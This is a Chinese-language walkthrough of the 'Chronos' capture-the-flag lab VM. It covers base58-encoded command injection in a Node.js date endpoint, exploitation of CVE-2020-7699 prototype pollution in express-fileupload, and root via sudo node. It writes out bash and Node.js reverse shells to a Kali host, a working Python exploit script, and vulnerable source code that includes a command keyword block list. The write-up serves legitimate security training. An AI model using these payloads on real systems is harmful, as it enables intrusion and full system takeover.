前言
这是打靶训练的第六周,难度中等,下载链接。目标获取到两个flag+root权限。打下来后给我的感觉是,这靶机真的非常有趣。
信息搜集
两个http服务
先看80端口
再看8000端口
好像也没啥东西,于是查看80和8000两个网页的源代码,发现这两套源码基本一样
注意第21行的js,把它在线格式化后,发现了一条url地址http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
,我将中间的chronos.local
换成192.168.2.161
进行访问
出现Permission Denied即拒绝访问。我想是不是要绑定host,vi /etc/hosts
,按下图绑定。
再次访问80端口,出现了变化
每次刷新一次网页,下面的日期都会发生变化
命令执行
使用burp抓包,正常
然后我将format=后面的字母,随便删除一些,再次发包。发现一直没有响应,说明后面的数据是特殊的。当务之急要知道4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
这串代码是什么意思。
这一看都不像是base64编码,这里使用强大解码工具cyberchef。下载到本地打开CyberChef.html,右上角Input填入代解码的代码,左上角的Search输入magic,然后双击magic,右下角的Output将会出结果。
用的是base58加密,解码结果是'+Today is %A, %B %d, %Y %H:%M:%S.'
。网页每次刷新下面的日期都会刷新,像是用了date命令
猜测它用了date命令,于是用将;ls
进行base58加密后,发包得到
果然是命令执行,kali开启监听4444端口,对; echo 'bash -i >& /dev/tcp/192.168.2.207/4444 0>&1' | bash
进行编码后,再次发包。成功反弹shell
来到/home/imera,发现有个user.txt,这里面肯定有啥东西。但遗憾的是权限不足。
再次回到/opt/chronos/原目录下
查看package.json这个是对代码的依赖
{
"dependencies": {
"bs58": "^4.0.1",
"cors": "^2.8.5",
"express": "^4.17.1"
}
}
这里就可以看出依赖了bs58解码,然后再查看app.js 看是否有漏洞
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
var agent = req.headers['user-agent'];
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === 'Chronos') {
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
第26行user-agent必须是Chronos,才继续执行,否则返回Permission Denied。再看上面的burp截图,确实是。你可以换个user-agent,发包就会出现Permission Denied。
第29行判断了那么多命令,但没写return,所以第31行的exec可以继续执行。这步导致了命令执行。
很遗憾这里没有任何漏洞,来到/opt/chronos-v2/backend
,也是node.js搭建
先查看package.json依赖
{
"name": "some-website",
"version": "1.0.0",
"description": "",
"main": "server.js",
"scripts": {
"start": "node server.js"
},
"author": "",
"license": "ISC",
"dependencies": {
"ejs": "^3.1.5",
"express": "^4.17.1",
"express-fileupload": "^1.1.7-alpha.3"
}
}
其中的express-fileupload,一看就像文件上传啥的,查找node.js express-fileupload exp发现了此文章。CVE-2020-7699:NodeJS模块代码注入。漏洞的利用条件是app.use(fileupload({ parseNested: true }));
,查看server.js,第7行正好符合条件。
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
CVE-2020-7699
找到了exp代码,在文章的末尾给出了代码。修改好后上传到靶机上。kali开启监听5555端口
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.2.207/5555 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
靶机输入python3 exp.py
,反弹shell正常。这时候再次查看user.txt获取到第一个flag
提权
这次的提权非常的简单,使用sudo -l
,发现可以用node.js 提权
再次kali开启监听6666端口,使用下面的代码提权,命名成exp.js。
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(6666, "192.168.2.207", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
靶机下载好exp.js,使用sudo node exp.js
,即可反弹shell